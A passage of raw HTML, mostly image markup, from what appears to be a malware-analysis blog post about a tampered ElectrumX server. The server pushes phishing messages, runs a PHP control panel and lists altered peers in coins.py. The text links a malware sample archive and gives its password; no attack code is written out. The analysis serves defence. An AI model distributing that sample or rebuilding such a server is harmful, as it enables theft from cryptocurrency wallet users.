https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim_omvv5RbcJDFXykiE0Re_FGtjG1oe6XJBSrs9DdEnIOLAB_nD4FIsMm73wmzCWuIVbBC5x7rSZhDZmERK3MJXsdeHDNov1i-vOQPOUWdFVZacE4bCWrTQCKDBdU-OlZ8tFL1deaYfHg/s400/malicious_message2.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim_omvv5RbcJDFXykiE0Re_FGtjG1oe6XJBSrs9DdEnIOLAB_nD4FIsMm73wmzCWuIVbBC5x7rSZhDZmERK3MJXsdeHDNov1i-vOQPOUWdFVZacE4bCWrTQCKDBdU-OlZ8tFL1deaYfHg/s400/malicious_message2.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim_omvv5RbcJDFXykiE0Re_FGtjG1oe6XJBSrs9DdEnIOLAB_nD4FIsMm73wmzCWuIVbBC5x7rSZhDZmERK3MJXsdeHDNov1i-vOQPOUWdFVZacE4bCWrTQCKDBdU-OlZ8tFL1deaYfHg/s400/malicious_message2.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim_omvv5RbcJDFXykiE0Re_FGtjG1oe6XJBSrs9DdEnIOLAB_nD4FIsMm73wmzCWuIVbBC5x7rSZhDZmERK3MJXsdeHDNov1i-vOQPOUWdFVZacE4bCWrTQCKDBdU-OlZ8tFL1deaYfHg/s400/malicious_message2.png" width="361" height="400" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim_omvv5RbcJDFXykiE0Re_FGtjG1oe6XJBSrs9DdEnIOLAB_nD4FIsMm73wmzCWuIVbBC5x7rSZhDZmERK3MJXsdeHDNov1i-vOQPOUWdFVZacE4bCWrTQCKDBdU-OlZ8tFL1deaYfHg/s400/malicious_message2.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:400,&quot;width&quot;:361,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim_omvv5RbcJDFXykiE0Re_FGtjG1oe6XJBSrs9DdEnIOLAB_nD4FIsMm73wmzCWuIVbBC5x7rSZhDZmERK3MJXsdeHDNov1i-vOQPOUWdFVZacE4bCWrTQCKDBdU-OlZ8tFL1deaYfHg/s400/malicious_message2.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim_omvv5RbcJDFXykiE0Re_FGtjG1oe6XJBSrs9DdEnIOLAB_nD4FIsMm73wmzCWuIVbBC5x7rSZhDZmERK3MJXsdeHDNov1i-vOQPOUWdFVZacE4bCWrTQCKDBdU-OlZ8tFL1deaYfHg/s400/malicious_message2.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim_omvv5RbcJDFXykiE0Re_FGtjG1oe6XJBSrs9DdEnIOLAB_nD4FIsMm73wmzCWuIVbBC5x7rSZhDZmERK3MJXsdeHDNov1i-vOQPOUWdFVZacE4bCWrTQCKDBdU-OlZ8tFL1deaYfHg/s400/malicious_message2.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim_omvv5RbcJDFXykiE0Re_FGtjG1oe6XJBSrs9DdEnIOLAB_nD4FIsMm73wmzCWuIVbBC5x7rSZhDZmERK3MJXsdeHDNov1i-vOQPOUWdFVZacE4bCWrTQCKDBdU-OlZ8tFL1deaYfHg/s400/malicious_message2.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9jkQnqKESfh4kaNfFrmcAN-GFn1L_ywOQEvQyf1foBgGfJUUi-Ilgshyphenhyphen9urXKgqBYfTFOOrzk-iSocKeYFEAqEhaWb_TAzkZr108fc_l4g9oz64fUwFo_ZuZJaEC7eeFTaUw7Ti_O7e0/s400/malicious_message4.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9jkQnqKESfh4kaNfFrmcAN-GFn1L_ywOQEvQyf1foBgGfJUUi-Ilgshyphenhyphen9urXKgqBYfTFOOrzk-iSocKeYFEAqEhaWb_TAzkZr108fc_l4g9oz64fUwFo_ZuZJaEC7eeFTaUw7Ti_O7e0/s400/malicious_message4.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9jkQnqKESfh4kaNfFrmcAN-GFn1L_ywOQEvQyf1foBgGfJUUi-Ilgshyphenhyphen9urXKgqBYfTFOOrzk-iSocKeYFEAqEhaWb_TAzkZr108fc_l4g9oz64fUwFo_ZuZJaEC7eeFTaUw7Ti_O7e0/s400/malicious_message4.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9jkQnqKESfh4kaNfFrmcAN-GFn1L_ywOQEvQyf1foBgGfJUUi-Ilgshyphenhyphen9urXKgqBYfTFOOrzk-iSocKeYFEAqEhaWb_TAzkZr108fc_l4g9oz64fUwFo_ZuZJaEC7eeFTaUw7Ti_O7e0/s400/malicious_message4.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9jkQnqKESfh4kaNfFrmcAN-GFn1L_ywOQEvQyf1foBgGfJUUi-Ilgshyphenhyphen9urXKgqBYfTFOOrzk-iSocKeYFEAqEhaWb_TAzkZr108fc_l4g9oz64fUwFo_ZuZJaEC7eeFTaUw7Ti_O7e0/s400/malicious_message4.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9jkQnqKESfh4kaNfFrmcAN-GFn1L_ywOQEvQyf1foBgGfJUUi-Ilgshyphenhyphen9urXKgqBYfTFOOrzk-iSocKeYFEAqEhaWb_TAzkZr108fc_l4g9oz64fUwFo_ZuZJaEC7eeFTaUw7Ti_O7e0/s400/malicious_message4.png" width="390" height="400" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9jkQnqKESfh4kaNfFrmcAN-GFn1L_ywOQEvQyf1foBgGfJUUi-Ilgshyphenhyphen9urXKgqBYfTFOOrzk-iSocKeYFEAqEhaWb_TAzkZr108fc_l4g9oz64fUwFo_ZuZJaEC7eeFTaUw7Ti_O7e0/s400/malicious_message4.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:400,&quot;width&quot;:390,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9jkQnqKESfh4kaNfFrmcAN-GFn1L_ywOQEvQyf1foBgGfJUUi-Ilgshyphenhyphen9urXKgqBYfTFOOrzk-iSocKeYFEAqEhaWb_TAzkZr108fc_l4g9oz64fUwFo_ZuZJaEC7eeFTaUw7Ti_O7e0/s400/malicious_message4.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9jkQnqKESfh4kaNfFrmcAN-GFn1L_ywOQEvQyf1foBgGfJUUi-Ilgshyphenhyphen9urXKgqBYfTFOOrzk-iSocKeYFEAqEhaWb_TAzkZr108fc_l4g9oz64fUwFo_ZuZJaEC7eeFTaUw7Ti_O7e0/s400/malicious_message4.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9jkQnqKESfh4kaNfFrmcAN-GFn1L_ywOQEvQyf1foBgGfJUUi-Ilgshyphenhyphen9urXKgqBYfTFOOrzk-iSocKeYFEAqEhaWb_TAzkZr108fc_l4g9oz64fUwFo_ZuZJaEC7eeFTaUw7Ti_O7e0/s400/malicious_message4.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9jkQnqKESfh4kaNfFrmcAN-GFn1L_ywOQEvQyf1foBgGfJUUi-Ilgshyphenhyphen9urXKgqBYfTFOOrzk-iSocKeYFEAqEhaWb_TAzkZr108fc_l4g9oz64fUwFo_ZuZJaEC7eeFTaUw7Ti_O7e0/s400/malicious_message4.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWH97sE4lqbxsJGswr342-51BxtZHxAb_PH7RgY21cne2ro7q3mC8bTVLVKKmNNx_M_rEpeEy6o6IPTq4n3TnIV1uGvOIgwvmHFuKw1gxBINxnkdqWkJ22akvXda5Ha7QYhPolgtjOW4/s320/malicious_message5.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWH97sE4lqbxsJGswr342-51BxtZHxAb_PH7RgY21cne2ro7q3mC8bTVLVKKmNNx_M_rEpeEy6o6IPTq4n3TnIV1uGvOIgwvmHFuKw1gxBINxnkdqWkJ22akvXda5Ha7QYhPolgtjOW4/s320/malicious_message5.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWH97sE4lqbxsJGswr342-51BxtZHxAb_PH7RgY21cne2ro7q3mC8bTVLVKKmNNx_M_rEpeEy6o6IPTq4n3TnIV1uGvOIgwvmHFuKw1gxBINxnkdqWkJ22akvXda5Ha7QYhPolgtjOW4/s320/malicious_message5.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWH97sE4lqbxsJGswr342-51BxtZHxAb_PH7RgY21cne2ro7q3mC8bTVLVKKmNNx_M_rEpeEy6o6IPTq4n3TnIV1uGvOIgwvmHFuKw1gxBINxnkdqWkJ22akvXda5Ha7QYhPolgtjOW4/s320/malicious_message5.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWH97sE4lqbxsJGswr342-51BxtZHxAb_PH7RgY21cne2ro7q3mC8bTVLVKKmNNx_M_rEpeEy6o6IPTq4n3TnIV1uGvOIgwvmHFuKw1gxBINxnkdqWkJ22akvXda5Ha7QYhPolgtjOW4/s320/malicious_message5.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWH97sE4lqbxsJGswr342-51BxtZHxAb_PH7RgY21cne2ro7q3mC8bTVLVKKmNNx_M_rEpeEy6o6IPTq4n3TnIV1uGvOIgwvmHFuKw1gxBINxnkdqWkJ22akvXda5Ha7QYhPolgtjOW4/s320/malicious_message5.png" width="320" height="189" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWH97sE4lqbxsJGswr342-51BxtZHxAb_PH7RgY21cne2ro7q3mC8bTVLVKKmNNx_M_rEpeEy6o6IPTq4n3TnIV1uGvOIgwvmHFuKw1gxBINxnkdqWkJ22akvXda5Ha7QYhPolgtjOW4/s320/malicious_message5.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:189,&quot;width&quot;:320,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWH97sE4lqbxsJGswr342-51BxtZHxAb_PH7RgY21cne2ro7q3mC8bTVLVKKmNNx_M_rEpeEy6o6IPTq4n3TnIV1uGvOIgwvmHFuKw1gxBINxnkdqWkJ22akvXda5Ha7QYhPolgtjOW4/s320/malicious_message5.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWH97sE4lqbxsJGswr342-51BxtZHxAb_PH7RgY21cne2ro7q3mC8bTVLVKKmNNx_M_rEpeEy6o6IPTq4n3TnIV1uGvOIgwvmHFuKw1gxBINxnkdqWkJ22akvXda5Ha7QYhPolgtjOW4/s320/malicious_message5.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWH97sE4lqbxsJGswr342-51BxtZHxAb_PH7RgY21cne2ro7q3mC8bTVLVKKmNNx_M_rEpeEy6o6IPTq4n3TnIV1uGvOIgwvmHFuKw1gxBINxnkdqWkJ22akvXda5Ha7QYhPolgtjOW4/s320/malicious_message5.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWH97sE4lqbxsJGswr342-51BxtZHxAb_PH7RgY21cne2ro7q3mC8bTVLVKKmNNx_M_rEpeEy6o6IPTq4n3TnIV1uGvOIgwvmHFuKw1gxBINxnkdqWkJ22akvXda5Ha7QYhPolgtjOW4/s320/malicious_message5.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br><br><strong>Patched Malicious ElectrumX Server PHP Control Panel</strong><br><br>Malicious code's authors added a PHP control panel that would let them to configure the server easily. The source code for this panel is shared into the same <a href="https://hybrid-analysis.com/sample/e875cf404663e956a066495e2c83d06a524f09421c50ad226b8ab314a600727b">zip file as the patched server code</a>&nbsp;(pass: infected12345678). Among other things, the PHP panel would let the authors to update the phishing messages.<br><br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4L3rJdISXjz3qiHCXfDfxH34M9k0C9H0Vcm0ZjWpRglXZSCX8VvoT8CEC9X0MaCPOHlxO18o2e2yY3HSviVu8sLAo14mujt0aonh8fGAzf3CFJbkq7Z4hi5BvJvxiw3s6-s20KEKHzNA/s1600/PHPpanel.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4L3rJdISXjz3qiHCXfDfxH34M9k0C9H0Vcm0ZjWpRglXZSCX8VvoT8CEC9X0MaCPOHlxO18o2e2yY3HSviVu8sLAo14mujt0aonh8fGAzf3CFJbkq7Z4hi5BvJvxiw3s6-s20KEKHzNA/s1600/PHPpanel.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4L3rJdISXjz3qiHCXfDfxH34M9k0C9H0Vcm0ZjWpRglXZSCX8VvoT8CEC9X0MaCPOHlxO18o2e2yY3HSviVu8sLAo14mujt0aonh8fGAzf3CFJbkq7Z4hi5BvJvxiw3s6-s20KEKHzNA/s1600/PHPpanel.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4L3rJdISXjz3qiHCXfDfxH34M9k0C9H0Vcm0ZjWpRglXZSCX8VvoT8CEC9X0MaCPOHlxO18o2e2yY3HSviVu8sLAo14mujt0aonh8fGAzf3CFJbkq7Z4hi5BvJvxiw3s6-s20KEKHzNA/s1600/PHPpanel.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4L3rJdISXjz3qiHCXfDfxH34M9k0C9H0Vcm0ZjWpRglXZSCX8VvoT8CEC9X0MaCPOHlxO18o2e2yY3HSviVu8sLAo14mujt0aonh8fGAzf3CFJbkq7Z4hi5BvJvxiw3s6-s20KEKHzNA/s1600/PHPpanel.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4L3rJdISXjz3qiHCXfDfxH34M9k0C9H0Vcm0ZjWpRglXZSCX8VvoT8CEC9X0MaCPOHlxO18o2e2yY3HSviVu8sLAo14mujt0aonh8fGAzf3CFJbkq7Z4hi5BvJvxiw3s6-s20KEKHzNA/s1600/PHPpanel.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4L3rJdISXjz3qiHCXfDfxH34M9k0C9H0Vcm0ZjWpRglXZSCX8VvoT8CEC9X0MaCPOHlxO18o2e2yY3HSviVu8sLAo14mujt0aonh8fGAzf3CFJbkq7Z4hi5BvJvxiw3s6-s20KEKHzNA/s1600/PHPpanel.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4L3rJdISXjz3qiHCXfDfxH34M9k0C9H0Vcm0ZjWpRglXZSCX8VvoT8CEC9X0MaCPOHlxO18o2e2yY3HSviVu8sLAo14mujt0aonh8fGAzf3CFJbkq7Z4hi5BvJvxiw3s6-s20KEKHzNA/s1600/PHPpanel.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4L3rJdISXjz3qiHCXfDfxH34M9k0C9H0Vcm0ZjWpRglXZSCX8VvoT8CEC9X0MaCPOHlxO18o2e2yY3HSviVu8sLAo14mujt0aonh8fGAzf3CFJbkq7Z4hi5BvJvxiw3s6-s20KEKHzNA/s1600/PHPpanel.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4L3rJdISXjz3qiHCXfDfxH34M9k0C9H0Vcm0ZjWpRglXZSCX8VvoT8CEC9X0MaCPOHlxO18o2e2yY3HSviVu8sLAo14mujt0aonh8fGAzf3CFJbkq7Z4hi5BvJvxiw3s6-s20KEKHzNA/s1600/PHPpanel.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4L3rJdISXjz3qiHCXfDfxH34M9k0C9H0Vcm0ZjWpRglXZSCX8VvoT8CEC9X0MaCPOHlxO18o2e2yY3HSviVu8sLAo14mujt0aonh8fGAzf3CFJbkq7Z4hi5BvJvxiw3s6-s20KEKHzNA/s1600/PHPpanel.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNAlY1VrBJoRz06mRhZz-ubxvERlHL68Ev8Pell4BcNJpaDvz4WYtE5e-w9uuB2OIO-KexAN1ycaWlWpFFQXONjgR4rr3Wt3a-7MG6CPtemK0z1i50Pw3aABoTIhcwAAEdQtH_1YBNCrQ/s1600/updatephising.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNAlY1VrBJoRz06mRhZz-ubxvERlHL68Ev8Pell4BcNJpaDvz4WYtE5e-w9uuB2OIO-KexAN1ycaWlWpFFQXONjgR4rr3Wt3a-7MG6CPtemK0z1i50Pw3aABoTIhcwAAEdQtH_1YBNCrQ/s1600/updatephising.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNAlY1VrBJoRz06mRhZz-ubxvERlHL68Ev8Pell4BcNJpaDvz4WYtE5e-w9uuB2OIO-KexAN1ycaWlWpFFQXONjgR4rr3Wt3a-7MG6CPtemK0z1i50Pw3aABoTIhcwAAEdQtH_1YBNCrQ/s1600/updatephising.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNAlY1VrBJoRz06mRhZz-ubxvERlHL68Ev8Pell4BcNJpaDvz4WYtE5e-w9uuB2OIO-KexAN1ycaWlWpFFQXONjgR4rr3Wt3a-7MG6CPtemK0z1i50Pw3aABoTIhcwAAEdQtH_1YBNCrQ/s1600/updatephising.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNAlY1VrBJoRz06mRhZz-ubxvERlHL68Ev8Pell4BcNJpaDvz4WYtE5e-w9uuB2OIO-KexAN1ycaWlWpFFQXONjgR4rr3Wt3a-7MG6CPtemK0z1i50Pw3aABoTIhcwAAEdQtH_1YBNCrQ/s1600/updatephising.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNAlY1VrBJoRz06mRhZz-ubxvERlHL68Ev8Pell4BcNJpaDvz4WYtE5e-w9uuB2OIO-KexAN1ycaWlWpFFQXONjgR4rr3Wt3a-7MG6CPtemK0z1i50Pw3aABoTIhcwAAEdQtH_1YBNCrQ/s1600/updatephising.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNAlY1VrBJoRz06mRhZz-ubxvERlHL68Ev8Pell4BcNJpaDvz4WYtE5e-w9uuB2OIO-KexAN1ycaWlWpFFQXONjgR4rr3Wt3a-7MG6CPtemK0z1i50Pw3aABoTIhcwAAEdQtH_1YBNCrQ/s1600/updatephising.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNAlY1VrBJoRz06mRhZz-ubxvERlHL68Ev8Pell4BcNJpaDvz4WYtE5e-w9uuB2OIO-KexAN1ycaWlWpFFQXONjgR4rr3Wt3a-7MG6CPtemK0z1i50Pw3aABoTIhcwAAEdQtH_1YBNCrQ/s1600/updatephising.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNAlY1VrBJoRz06mRhZz-ubxvERlHL68Ev8Pell4BcNJpaDvz4WYtE5e-w9uuB2OIO-KexAN1ycaWlWpFFQXONjgR4rr3Wt3a-7MG6CPtemK0z1i50Pw3aABoTIhcwAAEdQtH_1YBNCrQ/s1600/updatephising.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNAlY1VrBJoRz06mRhZz-ubxvERlHL68Ev8Pell4BcNJpaDvz4WYtE5e-w9uuB2OIO-KexAN1ycaWlWpFFQXONjgR4rr3Wt3a-7MG6CPtemK0z1i50Pw3aABoTIhcwAAEdQtH_1YBNCrQ/s1600/updatephising.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNAlY1VrBJoRz06mRhZz-ubxvERlHL68Ev8Pell4BcNJpaDvz4WYtE5e-w9uuB2OIO-KexAN1ycaWlWpFFQXONjgR4rr3Wt3a-7MG6CPtemK0z1i50Pw3aABoTIhcwAAEdQtH_1YBNCrQ/s1600/updatephising.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br><br><strong>Malicious Peers</strong><br><br>Taking a look at the patched source code (/electrumx/lib/coins.py) we can find a list of peers different than the original source:<br><br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlLMQ6wVCfNyEcZyhR1NtbzDKnLco95nfRxxFIoZzg_TETrmHwHlwPJyVlwKM9ALHn0cVJ4iuta5PrpR7FH2Jvw31gptkZzwbmNz_9YCy6m-IxUYZQwngtLf5g_bC4KoUSJYC5oJFOg7U/s640/peers1.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlLMQ6wVCfNyEcZyhR1NtbzDKnLco95nfRxxFIoZzg_TETrmHwHlwPJyVlwKM9ALHn0cVJ4iuta5PrpR7FH2Jvw31gptkZzwbmNz_9YCy6m-IxUYZQwngtLf5g_bC4KoUSJYC5oJFOg7U/s640/peers1.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlLMQ6wVCfNyEcZyhR1NtbzDKnLco95nfRxxFIoZzg_TETrmHwHlwPJyVlwKM9ALHn0cVJ4iuta5PrpR7FH2Jvw31gptkZzwbmNz_9YCy6m-IxUYZQwngtLf5g_bC4KoUSJYC5oJFOg7U/s640/peers1.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlLMQ6wVCfNyEcZyhR1NtbzDKnLco95nfRxxFIoZzg_TETrmHwHlwPJyVlwKM9ALHn0cVJ4iuta5PrpR7FH2Jvw31gptkZzwbmNz_9YCy6m-IxUYZQwngtLf5g_bC4KoUSJYC5oJFOg7U/s640/peers1.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlLMQ6wVCfNyEcZyhR1NtbzDKnLco95nfRxxFIoZzg_TETrmHwHlwPJyVlwKM9ALHn0cVJ4iuta5PrpR7FH2Jvw31gptkZzwbmNz_9YCy6m-IxUYZQwngtLf5g_bC4KoUSJYC5oJFOg7U/s640/peers1.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlLMQ6wVCfNyEcZyhR1NtbzDKnLco95nfRxxFIoZzg_TETrmHwHlwPJyVlwKM9ALHn0cVJ4iuta5PrpR7FH2Jvw31gptkZzwbmNz_9YCy6m-IxUYZQwngtLf5g_bC4KoUSJYC5oJFOg7U/s640/peers1.png" width="627" height="640" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlLMQ6wVCfNyEcZyhR1NtbzDKnLco95nfRxxFIoZzg_TETrmHwHlwPJyVlwKM9ALHn0cVJ4iuta5PrpR7FH2Jvw31gptkZzwbmNz_9YCy6m-IxUYZQwngtLf5g_bC4KoUSJYC5oJFOg7U/s640/peers1.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:640,&quot;width&quot;:627,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" 